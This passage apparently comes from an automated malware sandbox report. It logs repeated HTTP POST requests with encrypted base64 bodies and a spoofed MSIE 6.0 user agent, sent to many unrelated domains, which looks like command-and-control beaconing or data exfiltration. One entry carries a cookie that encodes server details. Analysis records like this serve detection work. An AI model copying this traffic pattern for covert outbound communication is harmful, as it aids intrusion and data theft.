48 4b 37 77 48 64 39 50 6d 72 45 69 62 73 4c 68 64 6f 44 31 4e 4c 4f 39 51 61 4c 4c 4d 48 42 69 71 2b 4e 46 67 66 4c 33 63 34 56 6a 57 5a 4a 36 48 55 49 70 41 50 42 6e 61 5a 74 73 4e 4c 35 42 62 6d 56 32 61 4d 69 54 48 47 76 6b 4c 55 73 35 6c 48 4d 45 72 4c 34 4d 72 39 39 70 6c 74 4e 79 56 53 33 30 79 56 38 4f 56 74 30 46 62 6b 72 34 2f 68 2b 71 38 6b 6d 77 7a 4c 4a 5a 54 55 69 61 39 73 34 64 6e 77 76 62 31 64 6f 49 64 63 77 56 6c 77 75 59 77 32 55 35 75 7a 4b 65 41 3d 3d Data Ascii: FMrpiqQpVFoGuw2uP2hQbHeUtv9c8y2qGEG7OK2jjVtEFUUTdLQF7DbGLOufkLRwsvH3/dkHN5dw6mO9Be7IDePeac+VkMQ6q/qZtinHxxkcsOiYvC3SQhjo1qrnl08rUV9dM89BCxoh25J3cL622MPuF7xxGOK1Gr/FamwqCiA3Byomxx2dzWnuxIxu3KU+hrSXlOnuBC5j1I+PfGT7TNiAXe76w+fKP+fozmJ/bGpwD7QLmQMI4spjrjS51JHVQeOITBUwNLQyiBqByMVbrR/WuP4vFeBy6T0HrprVmbAMHpjKZl0JZY/zU31EBK6hcaGCygH1WgUw9bLnvHy6spDYSq64G4HLkBacnQuIhK1MUIkXPy4UyO35yTmcUMBV1RHyCIcGslwMcTlwIdlKWDNqid7O3/PnsMLvcySrJvDGTHK7wHd9PmrEibsLhdoD1NLO9QaLLMHBiq+NFgfL3c4VjWZJ6HUIpAPBnaZtsNL5BbmV2aMiTHGvkLUs5lHMErL4Mr99pltNyVS30yV8OVt0Fbkr4/h+q8kmwzLJZTUia9s4dnwvb1doIdcwVlwuYw2U5uzKeA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tvtools.fiCache-Control: no-cacheData Raw: 69 6c 6d 32 53 47 34 45 57 42 42 36 69 30 49 41 65 51 42 70 6b 64 47 66 45 6f 33 75 76 70 45 36 67 72 50 52 54 76 71 7a 4f 56 58 66 52 78 4c 35 73 58 77 56 61 33 67 49 32 50 31 7a 32 45 36 54 46 70 49 45 6d 67 4e 34 6d 4c 7a 2b 75 4a 72 61 45 57 62 6b 56 78 43 4d 38 63 79 32 77 56 32 2f 65 4c 43 32 67 63 68 65 58 2b 44 55 55 59 75 7a 6b 6f 6c 77 71 2f 6b 64 37 35 79 46 64 69 39 64 76 6b 32 66 59 4e 38 2b 69 6c 4d 39 6f 39 46 77 6a 72 6a 4d 74 65 39 72 57 2b 68 70 6d 4b 47 6c 67 56 71 42 58 4c 35 68 54 4d 6f 57 6e 4b 63 41 4e 36 70 55 58 50 2f 53 4b 4b 62 42 34 41 72 6b 47 65 4f 77 79 6b 36 6d 44 34 6e 59 57 72 68 48 6b 6b 32 33 30 41 2b 65 62 4c 6e 4e 38 56 62 6a 55 56 5a 47 62 55 6d 48 5a 4c 6b 53 73 4e 61 6c 76 41 46 4b 52 36 34 4c 6d 67 51 4f 2f 76 59 74 33 4c 55 41 65 4e 32 6e 4e 48 65 52 72 6d 41 55 49 46 6f 6d 62 65 48 63 35 4b 51 4c 47 56 43 70 36 4a 39 67 43 74 71 4e 4b 64 76 54 2b 2b 6e 4b 6c 4c 6d 44 38 50 77 4c 62 45 34 50 64 4d 53 52 62 44 30 67 79 35 58 32 51 36 2b 2f 73 33 2f 30 64 2b 4f 50 32 6e 55 58 68 63 57 67 71 62 65 4a 4b 4b 2b 31 55 48 52 54 30 35 75 4f 31 39 72 2b 52 68 56 51 2b 32 67 61 4f 32 5a 68 76 37 75 39 32 71 67 69 64 44 79 52 34 6c 39 6f 4a 55 71 34 4f 6f 72 4d 42 39 33 54 47 4f 42 37 35 53 36 69 52 54 35 48 74 71 4c 4b 44 6d 30 6d 61 46 34 77 42 2b 35 48 61 71 51 4e 4d 4f 31 4a 6c 35 51 33 64 43 56 48 69 41 55 6a 62 39 79 6b 34 32 56 46 6c 69 7a 51 6b 65 76 6d 33 48 59 62 53 34 64 49 2b 72 6b 61 41 79 54 57 4e 31 32 47 70 69 31 50 30 69 7a 44 41 4a 37 36 57 35 30 5a 44 73 4f 6d 32 2b 39 30 4c 59 42 72 47 38 50 62 66 4d 6b 47 49 55 37 4e 43 2f 72 57 45 4f 71 45 5a 71 2f 48 70 38 4c 44 4a 52 37 48 44 46 2f 5a 39 4c 59 54 4b 47 79 56 75 32 52 4a 65 51 59 76 33 78 37 38 6a 33 6b 5a 6d 41 3d 3d Data Ascii: ilm2SG4EWBB6i0IAeQBpkdGfEo3uvpE6grPRTvqzOVXfRxL5sXwVa3gI2P1z2E6TFpIEmgN4mLz+uJraEWbkVxCM8cy2wV2/eLC2gcheX+DUUYuzkolwq/kd75yFdi9dvk2fYN8+ilM9o9FwjrjMte9rW+hpmKGlgVqBXL5hTMoWnKcAN6pUXP/SKKbB4ArkGeOwyk6mD4nYWrhHkk230A+ebLnN8VbjUVZGbUmHZLkSsNalvAFKR64LmgQO/vYt3LUAeN2nNHeRrmAUIFombeHc5KQLGVCp6J9gCtqNKdvT++nKlLmD8PwLbE4PdMSRbD0gy5X2Q6+/s3/0d+OP2nUXhcWgqbeJKK+1UHRT05uO19r+RhVQ+2gaO2Zhv7u92qgidDyR4l9oJUq4OorMB93TGOB75S6iRT5HtqLKDm0maF4wB+5HaqQNMO1Jl5Q3dCVHiAUjb9yk42VFlizQkevm3HYbS4dI+rkaAyTWN12Gpi1P0izDAJ76W50ZDsOm2+90LYBrG8PbfMkGIU7NC/rWEOqEZq/Hp8LDJR7HDF/Z9LYTKGyVu2RJeQYv3x78j3kZmA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 73 52 72 51 52 42 49 4f 69 41 39 31 73 69 48 51 78 64 61 30 6d 78 58 70 48 78 39 69 73 36 74 39 5a 69 30 39 68 4e 31 46 32 55 6b 4e 6c 69 70 35 72 53 72 34 66 70 70 57 4f 6c 59 38 30 2b 33 34 37 6d 31 42 6b 38 38 65 4b 4d 4d 48 74 59 4d 77 62 63 4a 6b 76 72 51 6a 56 44 76 37 4d 5a 59 2b 43 6a 6f 52 51 71 6b 72 4b 74 51 34 69 52 53 61 37 4c 59 32 55 43 4d 46 47 63 78 70 64 6a 7a 5a 77 2f 43 34 31 7a 2f 68 77 44 68 59 4d 54 64 39 71 71 6c 59 73 5a 51 70 76 46 78 70 41 57 5a 55 47 34 6e 6c 77 69 46 61 56 71 6b 64 64 4b 66 67 77 74 59 54 4d 78 65 64 74 75 71 6e 79 67 63 6e 47 61 62 79 57 6d 66 72 50 56 72 43 51 58 4b 38 57 31 72 54 67 66 38 54 34 39 41 6b 54 51 78 46 6f 48 64 31 6b 54 2f 5a 61 79 45 4b 75 71 37 55 30 6f 57 30 37 61 64 44 6d 35 79 4d 4d 54 78 2f 43 33 6a 57 67 58 56 35 37 36 39 67 6b 42 77 4f 35 4b 68 42 56 55 4e 30 4a 7a 37 44 71 45 42 6e 77 65 47 68 46 74 38 34 32 6c 53 32 62 45 65 52 64 7a 75 56 49 77 49 61 49 30 49 55 43 6f 31 37 72 41 6b 45 4a 2b 4b 38 4c 36 6e 51 6b 45 41 42 7a 34 71 65 61 75 57 4b 4d 75 50 72 38 61 35 69 4f 74 57 33 44 4e 33 4e 4c 4a 53 77 64 69 77 63 49 31 4e 33 69 49 6f 32 4e 65 57 35 49 78 62 6b 6b 58 51 61 44 56 74 31 39 75 61 70 46 46 47 36 62 41 6f 34 47 51 48 64 62 37 78 7a 76 55 66 2f 56 46 43 37 58 58 65 78 34 49 47 6d 65 69 68 41 53 31 35 30 63 64 4b 6d 30 55 67 68 6c 64 4e 2b 77 69 38 66 61 47 51 4f 68 41 6d 79 43 6f 5a 41 34 39 59 77 30 31 61 33 4b 7a 43 42 37 6f 43 50 74 37 76 63 7a 49 56 54 50 77 7a 2b 46 73 74 4a 37 54 32 35 72 6f 78 77 55 70 37 63 4b 38 48 51 62 36 4b 56 55 6b 64 6d 69 62 54 4c 57 49 6c 53 77 34 4b 69 33 71 4b 50 56 51 56 65 31 4c 31 61 4b 59 47 32 6a 58 39 79 43 38 77 73 45 4a 51 58 48 37 76 57 37 66 4a 51 67 53 43 43 48 51 6f 54 59 2b 47 5a 52 74 43 4f 68 50 61 42 6d 4d 38 3d Data Ascii: sRrQRBIOiA91siHQxda0mxXpHx9is6t9Zi09hN1F2UkNlip5rSr4fppWOlY80+347m1Bk88eKMMHtYMwbcJkvrQjVDv7MZY+CjoRQqkrKtQ4iRSa7LY2UCMFGcxpdjzZw/C41z/hwDhYMTd9qqlYsZQpvFxpAWZUG4nlwiFaVqkddKfgwtYTMxedtuqnygcnGabyWmfrPVrCQXK8W1rTgf8T49AkTQxFoHd1kT/ZayEKuq7U0oW07adDm5yMMTx/C3jWgXV5769gkBwO5KhBVUN0Jz7DqEBnweGhFt842lS2bEeRdzuVIwIaI0IUCo17rAkEJ+K8L6nQkEABz4qeauWKMuPr8a5iOtW3DN3NLJSwdiwcI1N3iIo2NeW5IxbkkXQaDVt19uapFFG6bAo4GQHdb7xzvUf/VFC7XXex4IGmeihAS150cdKm0UghldN+wi8faGQOhAmyCoZA49Yw01a3KzCB7oCPt7vczIVTPwz+FstJ7T25roxwUp7cK8HQb6KVUkdmibTLWIlSw4Ki3qKPVQVe1L1aKYG2jX9yC8wsEJQXH7vW7fJQgSCCHQoTY+GZRtCOhPaBmM8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.crcsi.orgCache-Control: no-cacheData Raw: 2f 7a 41 47 59 38 32 38 42 52 42 41 70 7a 45 63 52 44 66 34 78 59 5a 36 79 36 49 37 74 50 68 58 55 5a 70 37 58 52 68 64 31 55 53 42 4b 48 7a 66 61 4a 6f 64 50 48 4a 39 32 45 57 63 50 32 6a 7a 34 59 34 34 69 78 77 6d 52 4c 36 73 39 2f 48 61 42 76 47 79 4f 78 59 36 46 4d 39 6c 35 2f 2f 58 48 6b 4b 39 5a 37 7a 51 65 36 38 31 30 38 68 58 75 74 4b 42 47 79 47 56 67 6f 31 54 46 6b 50 71 65 7a 45 6d 62 41 6f 6b 56 31 46 74 4a 4c 6f 63 4b 76 76 31 74 6b 49 46 36 58 38 4b 38 44 4a 49 6e 65 62 50 33 54 4a 57 30 71 4b 73 70 30 33 69 6e 4d 43 6c 4b 51 61 46 71 74 70 4a 42 7a 64 61 46 54 6c 71 30 69 32 56 6b 69 5a 36 46 7a 77 55 53 53 49 6b 50 34 30 2f 6d 55 41 52 6e 55 58 4d 69 34 66 49 67 2f 37 70 55 45 62 63 34 32 75 41 32 6a 5a 65 32 38 68 67 37 54 43 53 6f 6c 49 55 6e 53 42 34 48 48 46 55 6d 34 66 70 64 7a 46 65 79 63 75 31 6e 6c 62 39 71 41 34 5a 68 63 62 6d 59 4c 4c 46 42 35 4f 45 67 48 4f 64 70 6f 6e 58 7a 63 37 69 68 52 6f 58 39 79 54 55 30 63 5a 4e 6f 41 4c 4d 77 35 4e 2f 34 44 37 34 63 55 31 4a 4f 4c 32 53 53 38 4a 52 5a 35 61 46 36 31 48 6b 77 7a 33 4d 63 58 79 33 73 46 53 75 4f 51 31 4a 47 4c 31 34 44 58 58 55 62 68 65 55 45 6b 6a 78 50 6d 71 35 74 71 43 66 79 47 6b 79 35 47 6a 37 4b 49 7a 65 67 58 35 4f 65 61 74 35 41 42 45 34 41 46 49 2f 6c 49 2f 77 56 7a 30 67 4a 45 41 6a 53 73 63 75 33 61 67 5a 44 59 69 33 73 37 31 51 71 70 6d 31 6e 77 4c 4b 6a 42 79 73 30 73 77 4f 42 69 79 31 67 30 54 50 6b 6b 6e 77 43 54 33 38 6a 32 57 72 7a 7a 4b 2b 33 65 70 65 6c 6e 36 44 42 57 59 44 32 73 78 36 30 62 41 63 33 51 51 48 32 59 59 76 54 49 42 75 5a 54 71 72 66 79 6e 43 6a 59 30 63 54 46 43 4c 76 4a 4e 77 43 64 4a 62 62 62 61 53 76 61 54 54 4c 79 7a 36 48 4d 32 33 56 65 70 4f 67 52 67 4a Data Ascii: /zAGY828BRBApzEcRDf4xYZ6y6I7tPhXUZp7XRhd1USBKHzfaJodPHJ92EWcP2jz4Y44ixwmRL6s9/HaBvGyOxY6FM9l5//XHkK9Z7zQe68108hXutKBGyGVgo1TFkPqezEmbAokV1FtJLocKvv1tkIF6X8K8DJInebP3TJW0qKsp03inMClKQaFqtpJBzdaFTlq0i2VkiZ6FzwUSSIkP40/mUARnUXMi4fIg/7pUEbc42uA2jZe28hg7TCSolIUnSB4HHFUm4fpdzFeycu1nlb9qA4ZhcbmYLLFB5OEgHOdponXzc7ihRoX9yTU0cZNoALMw5N/4D74cU1JOL2SS8JRZ5aF61Hkwz3McXy3sFSuOQ1JGL14DXXUbheUEkjxPmq5tqCfyGky5Gj7KIzegX5Oeat5ABE4AFI/lI/wVz0gJEAjSscu3agZDYi3s71Qqpm1nwLKjBys0swOBiy1g0TPkknwCT38j2WrzzK+3epeln6DBWYD2sx60bAc3QQH2YYvTIBuZTqrfynCjY0cTFCLvJNwCdJbbbaSvaTTLyz6HM23VepOgRgJ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora-ito.comCache-Control: no-cacheData Raw: 5a 68 44 66 68 78 68 56 2b 6c 70 46 4f 45 48 38 47 39 56 6b 36 41 76 30 5a 68 4c 67 42 61 73 34 7a 49 6e 6b 4a 62 5a 70 35 42 37 6b 47 76 67 4e 36 2b 56 4c 6d 6a 51 4c 47 6b 34 6d 38 68 52 50 44 64 77 2b 34 57 52 4e 46 33 2f 34 66 66 2b 42 49 6a 4e 6d 2f 69 4d 6c 34 43 45 42 54 32 4b 79 2b 77 59 4e 74 6c 57 6b 71 63 78 4a 48 38 59 69 43 38 58 34 62 42 34 2f 5a 57 42 4d 6c 6a 58 51 4f 67 6b 69 59 4d 33 78 72 56 74 47 59 56 2f 66 4d 79 54 6f 32 76 2f 76 50 39 69 47 47 47 6a 2b 63 46 51 75 44 48 57 2f 6c 57 2f 71 34 5a 62 54 69 4e 46 35 4d 5a 61 34 46 75 47 4b 64 2f 48 55 64 57 33 51 38 50 63 2f 6e 70 41 70 38 62 4b 37 33 5a 61 61 4d 70 77 41 42 4f 77 6e 45 77 32 36 44 46 39 59 72 58 31 42 77 52 4a 79 45 4f 7a 68 42 4b 63 2f 46 53 75 6b 5a 34 59 39 4f 33 4b 56 39 36 34 75 41 47 34 62 62 5a 61 47 32 45 48 5a 4b 79 4b 4c 54 36 4b 6e 46 35 74 4b 6a 58 33 74 46 33 77 34 6d 39 56 4a 50 70 6b 79 68 44 51 30 33 79 4d 44 79 59 34 78 5a 55 51 7a 36 30 4d 6c 52 52 56 6f 55 77 43 4e 4b 4f 76 76 41 50 56 64 4e 47 73 30 70 70 79 76 4b 65 50 78 72 73 6a 4b 6b 75 55 53 6e 5a 77 65 72 31 50 7a 47 6f 77 43 68 53 54 6c 6e 78 71 76 73 6e 57 4b 78 45 35 36 6a 66 6b 57 36 37 56 4f 42 6f 57 42 5a 4c 65 58 67 70 4c 41 78 30 51 2b 48 7a 2b 67 69 38 69 45 79 55 31 52 48 42 49 6b 42 44 43 34 70 69 7a 6d 72 4c 53 58 34 57 71 50 55 74 6d 42 47 62 4b 73 31 62 75 2b 4d 36 51 36 61 63 44 38 77 66 66 79 65 39 51 46 32 69 51 62 42 77 53 31 44 7a 74 69 41 54 6a 55 65 6f 6c 55 6a 47 79 48 33 2b 68 57 74 73 73 69 46 58 61 61 37 37 62 43 68 54 67 62 5a 56 7a 4b 64 2b 46 48 58 31 50 50 58 71 56 31 6f 6f 30 53 69 52 59 32 38 71 55 45 7a 6a 64 51 65 33 61 33 64 4c 70 39 34 6c 5a 4a 30 6c 7a 71 47 62 69 4d 59 47 41 4a 70 72 69 32 32 42 56 74 47 6d 49 77 38 33 55 7a 69 46 45 4b 2b 4d 4e 32 43 77 3d 3d Data Ascii: ZhDfhxhV+lpFOEH8G9Vk6Av0ZhLgBas4zInkJbZp5B7kGvgN6+VLmjQLGk4m8hRPDdw+4WRNF3/4ff+BIjNm/iMl4CEBT2Ky+wYNtlWkqcxJH8YiC8X4bB4/ZWBMljXQOgkiYM3xrVtGYV/fMyTo2v/vP9iGGGj+cFQuDHW/lW/q4ZbTiNF5MZa4FuGKd/HUdW3Q8Pc/npAp8bK73ZaaMpwABOwnEw26DF9YrX1BwRJyEOzhBKc/FSukZ4Y9O3KV964uAG4bbZaG2EHZKyKLT6KnF5tKjX3tF3w4m9VJPpkyhDQ03yMDyY4xZUQz60MlRRVoUwCNKOvvAPVdNGs0ppyvKePxrsjKkuUSnZwer1PzGowChSTlnxqvsnWKxE56jfkW67VOBoWBZLeXgpLAx0Q+Hz+gi8iEyU1RHBIkBDC4pizmrLSX4WqPUtmBGbKs1bu+M6Q6acD8wffye9QF2iQbBwS1DztiATjUeolUjGyH3+hWtssiFXaa77bChTgbZVzKd+FHX1PPXqV1oo0SiRY28qUEzjdQe3a3dLp94lZJ0lzqGbiMYGAJpri22BVtGmIw83UziFEK+MN2Cw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.usadig.comCache-Control: no-cacheData Raw: 30 37 74 4d 4c 2b 59 68 63 42 44 2b 79 68 4f 66 67 56 41 59 44 77 6b 77 31 59 48 47 78 66 6d 6f 65 72 54 4a 52 49 47 69 6d 54 44 67 64 4e 32 70 78 42 38 64 54 30 53 68 35 33 4e 70 67 6e 53 63 47 53 36 6c 37 32 59 39 6b 47 68 37 37 58 44 34 65 35 42 70 32 67 70 30 65 72 67 34 51 69 63 69 31 4b 34 78 52 33 45 2b 6d 46 54 64 77 4b 32 39 67 59 78 73 50 56 49 47 61 52 51 36 7a 71 54 46 38 6d 42 53 78 38 61 75 78 74 74 49 36 46 73 78 56 6a 6e 46 75 6c 73 69 62 51 38 69 66 47 4d 79 75 4e 33 77 70 44 45 38 2b 46 50 48 50 4a 65 6b 59 6d 65 4b 71 68 4f 51 7a 38 68 51 6e 77 32 6d 6e 68 4f 53 7a 59 36 44 51 5a 78 4e 65 53 72 65 43 4f 47 44 69 76 34 30 4c 6b 52 30 6d 4b 42 50 75 67 61 65 44 74 48 65 53 37 4b 78 64 55 70 45 59 31 53 47 79 71 74 75 42 42 38 31 35 4e 67 56 46 33 55 42 72 49 71 31 72 47 4b 33 59 55 74 72 57 44 48 63 74 64 5a 33 51 43 55 6c 6b 5a 4c 4f 52 56 4b 6c 4a 4f 32 64 68 43 2b 75 39 78 63 6b 59 76 55 6f 76 52 35 73 61 50 54 4c 66 5a 36 6c 46 52 4a 54 57 68 4b 77 74 71 68 76 50 37 39 6a 53 36 42 56 4d 7a 78 38 6d 78 7a 63 66 4e 79 6e 61 57 57 69 42 31 42 79 47 4d 6c 4f 73 71 56 30 6a 55 33 72 51 41 35 7a 57 6d 7a 6c 6f 57 76 37 4e 59 39 4b 2f 56 39 4a 57 4c 34 4c 58 59 45 65 2f 74 78 32 47 31 72 62 36 48 79 4b 64 41 69 7a 77 32 6f 54 68 67 35 61 42 4f 48 65 34 32 49 2b 77 4e 65 41 76 66 49 4f 35 64 45 2b 33 53 63 75 59 78 52 51 6b 41 54 49 74 33 32 68 45 4b 63 38 43 61 33 43 38 55 34 36 76 6e 79 37 63 32 63 30 46 59 45 4a 6d 7a 30 55 7a 4b 34 57 55 49 69 6b 2f 45 42 6d 6d 4f 69 30 6b 6a 73 6b 7a 56 58 7a 61 64 74 34 72 67 6c 41 2b 61 33 47 4f 65 51 67 73 77 3d 3d Data Ascii: 07tML+YhcBD+yhOfgVAYDwkw1YHGxfmoerTJRIGimTDgdN2pxB8dT0Sh53NpgnScGS6l72Y9kGh77XD4e5Bp2gp0erg4Qici1K4xR3E+mFTdwK29gYxsPVIGaRQ6zqTF8mBSx8auxttI6FsxVjnFulsibQ8ifGMyuN3wpDE8+FPHPJekYmeKqhOQz8hQnw2mnhOSzY6DQZxNeSreCOGDiv40LkR0mKBPugaeDtHeS7KxdUpEY1SGyqtuBB815NgVF3UBrIq1rGK3YUtrWDHctdZ3QCUlkZLORVKlJO2dhC+u9xckYvUovR5saPTLfZ6lFRJTWhKwtqhvP79jS6BVMzx8mxzcfNynaWWiB1ByGMlOsqV0jU3rQA5zWmzloWv7NY9K/V9JWL4LXYEe/tx2G1rb6HyKdAizw2oThg5aBOHe42I+wNeAvfIO5dE+3ScuYxRQkATIt32hEKc8Ca3C8U46vny7c2c0FYEJmz0UzK4WUIik/EBmmOi0kjskzVXzadt4rglA+a3GOeQgsw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.item-pr.comCache-Control: no-cacheData Raw: 35 74 31 31 72 63 55 36 64 42 43 77 73 48 2f 4c 37 47 33 39 48 6a 37 44 51 58 65 54 74 65 74 63 79 66 76 7a 6b 58 4a 42 74 4d 5a 73 63 48 75 56 6f 4d 58 51 68 6f 62 7a 6f 38 72 70 79 79 70 35 43 46 79 6c 6c 50 34 78 39 70 4d 67 43 42 32 39 4c 4a 54 32 53 4f 55 32 67 47 53 65 35 44 6d 53 69 69 2f 53 30 52 47 72 6f 4a 79 6c 72 33 4b 33 47 47 33 55 64 76 6f 6a 4c 42 47 4b 4b 2f 54 55 39 39 47 76 4e 33 67 32 67 48 61 6a 55 34 66 73 58 73 69 57 47 47 56 53 48 59 34 62 6a 6b 55 52 45 7a 4a 52 48 61 52 55 2b 38 55 53 6f 34 4b 76 56 52 61 66 54 5a 4b 65 6f 45 31 56 42 54 6e 45 37 6e 4c 65 65 5a 77 68 74 64 32 71 6a 49 30 4c 52 2f 68 77 6c 66 32 51 47 39 31 4b 51 78 48 6d 6b 54 75 2f 4b 6f 4e 4a 65 43 6c 4b 6e 43 2f 30 50 45 45 44 63 69 62 73 76 33 42 4b 5a 31 36 75 77 37 42 65 47 38 64 35 58 33 76 66 73 6d 6c 35 37 2b 61 49 75 58 34 61 2f 6c 56 33 43 79 62 36 76 32 7a 56 6a 67 4c 44 52 75 65 62 70 35 46 4a 63 6c 64 4f 33 57 75 55 33 69 6c 65 4a 36 56 55 35 70 6e 43 39 70 50 6e 38 4b 74 31 4b 42 34 34 4f 61 53 50 7a 38 67 6c 48 4c 38 50 62 61 78 6a 77 6f 76 31 63 4c 46 58 62 33 36 51 51 76 6b 62 4f 51 7a 63 61 36 47 44 47 68 38 46 6e 4c 39 2f 52 44 51 6b 64 72 76 57 2b 45 76 57 6c 56 6d 57 32 64 63 58 71 4e 36 71 6a 38 66 61 4c 70 42 65 6c 33 66 4f 41 36 78 4c 31 77 2b 57 4b 76 6c 31 6b 6f 46 4a 32 53 48 45 7a 77 75 65 69 77 73 42 42 6b 38 78 44 48 34 59 65 6a 4a 6b 32 44 49 37 57 43 71 70 4c 4e 32 4c 58 36 44 6d 39 69 34 39 75 2f 76 6f 71 5a 77 71 6c 54 7a 64 33 79 58 6b 50 4d 4d 55 7a 53 7a 45 45 44 49 37 47 70 61 36 55 45 54 61 76 4e 56 52 62 79 62 59 59 42 42 7a 65 69 39 67 46 64 6a 61 33 50 31 74 6c 71 66 67 42 36 4a 49 63 4a 45 78 78 70 59 2b 37 4f 33 4f 44 37 59 2f Data Ascii: 5t11rcU6dBCwsH/L7G39Hj7DQXeTtetcyfvzkXJBtMZscHuVoMXQhobzo8rpyyp5CFyllP4x9pMgCB29LJT2SOU2gGSe5DmSii/S0RGroJylr3K3GG3UdvojLBGKK/TU99GvN3g2gHajU4fsXsiWGGVSHY4bjkUREzJRHaRU+8USo4KvVRafTZKeoE1VBTnE7nLeeZwhtd2qjI0LR/hwlf2QG91KQxHmkTu/KoNJeClKnC/0PEEDcibsv3BKZ16uw7BeG8d5X3vfsml57+aIuX4a/lV3Cyb6v2zVjgLDRuebp5FJcldO3WuU3ileJ6VU5pnC9pPn8Kt1KB44OaSPz8glHL8Pbaxjwov1cLFXb36QQvkbOQzca6GDGh8FnL9/RDQkdrvW+EvWlVmW2dcXqN6qj8faLpBel3fOA6xL1w+WKvl1koFJ2SHEzwueiwsBBk8xDH4YejJk2DI7WCqpLN2LX6Dm9i49u/voqZwqlTzd3yXkPMMUzSzEEDI7Gpa6UETavNVRbybYYBBzei9gFdja3P1tlqfgB6JIcJExxpY+7O3OD7Y/
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.myropcb.comCache-Control: no-cacheCookie: myro_ct_dtl=eyJSRVFVRVNUX1VSSSI6IlwvIiwiUkVESVJFQ1RfVU5JUVVFX0lEIjoiWnh0aU54UXZxRDVuWVVJcGg2dGZIQUFBQUFFIiwiUkVESVJFQ1RfU0NSSVBUX1VSTCI6IlwvIiwiUkVESVJFQ1RfU0NSSVBUX1VSSSI6Imh0dHA6XC9cL3d3dy5teXJvcGNiLmNvbVwvIiwiUkVESVJFQ1RfRE9DVU1FTlRfUk9PVCI6Ilwva3VuZGVuXC9ob21lcGFnZXNcLzlcL2QzMjgxNTE4NDdcL2h0ZG9jc1wvY2xpY2thbmRidWlsZHNcL215cm9wY2IiLCJSRURJUkVDVF9IVFRQX0FVVEhPUklaQVRJT04iOiIiLCJSRURJUkVDVF9IQU5ETEVSIjoieC1tYXBwLXBocDUiLCJSRURJUkVDVF9TVEFUVVMiOiIyMDAiLCJVTklRVUVfSUQiOiJaeHRpTnhRdnFENW5ZVUlwaDZ0ZkhBQUFBQUUiLCJTQ1JJUFRfVVJMIjoiXC8iLCJTQ1JJUFRfVVJJIjoiaHR0cDpcL1wvd3d3Lm15cm9wY2IuY29tXC8iLCJIVFRQX0hPU1QiOiJ3d3cubXlyb3BjYi5jb20iLCJIVFRQX0NPTk5FQ1RJT04iOiJjbG9zZSIsIkNPTlRFTlRfTEVOR1RIIjoiNTYwIiwiSFRUUF9BQ0NFUFQiOiIqXC8qIiwiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiOiJlbi11cyIsIkNPTlRFTlRfVFlQRSI6ImFwcGxpY2F0aW9uXC9vY3RldC1zdHJlYW0iLCJIVFRQX1VTRVJfQUdFTlQiOiJNb3ppbGxhXC80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKSIsIkhUVFBfQ0FDSEVfQ09OVFJPTCI6Im5vLWNhY2hlIiwiUkVNT1RFX0FERFIiOiIxNzMuMjU0LjI1MC44MSIsIlJFUVVFU1RfU0NIRU1FIjoiaHR0cCIsIkNPTlRFWFRfUFJFRklYIjoiXC9zeXN0ZW0tYmluXC8iLCJDT05URVhUX0RPQ1VNRU5UX1JPT1QiOiJcL2t1bmRlblwvdXNyXC9saWJcL2NnaS1iaW5cLyIsIlJFTU9URV9QT1JUIjoiNTUyMjAiLCJSRURJUkVDVF9VUkwiOiJcL2luZGV4LnBocCIsIlJFUVVFU1RfTUVUSE9EIjoiUE9TVCIsIlFVRVJZX1NUUklORyI6IiIsIlNDUklQVF9OQU1FIjoiXC9pbmRleC5waHAiLCJTVEFUVVMiOiIyMDAiLCJPUklHX1BBVEhfSU5GTyI6IlwvaW5kZXgucGhwIiwiT1JJR19QQVRIX1RSQU5TTEFURUQiOiJcL2t1bmRlblwvaG9tZXBhZ2VzXC85XC9kMzI4MTUxODQ3XC9odGRvY3NcL2NsaWNrYW5kYnVpbGRzXC9teXJvcGNiXC9pbmRleC5waHAiLCJQSFBfU0VMRiI6IlwvaW5kZXgucGhwIiwiUkVRVUVTVF9USU1FX0ZMT0FUIjoxNzI5ODQ3ODYzLjIxNzU5OCwiUkVRVUVTVF9USU1FIjoxNzI5ODQ3ODYzLCJhcmd2IjpbXSwiYXJnYyI6MH0%3D; myro_ct=eyJ1cmwiOiIiLCJpcCI6IjE3My4yNTQuMjUwLjgxIn0%3D; shield-notbot-nonce=ee1e073c13
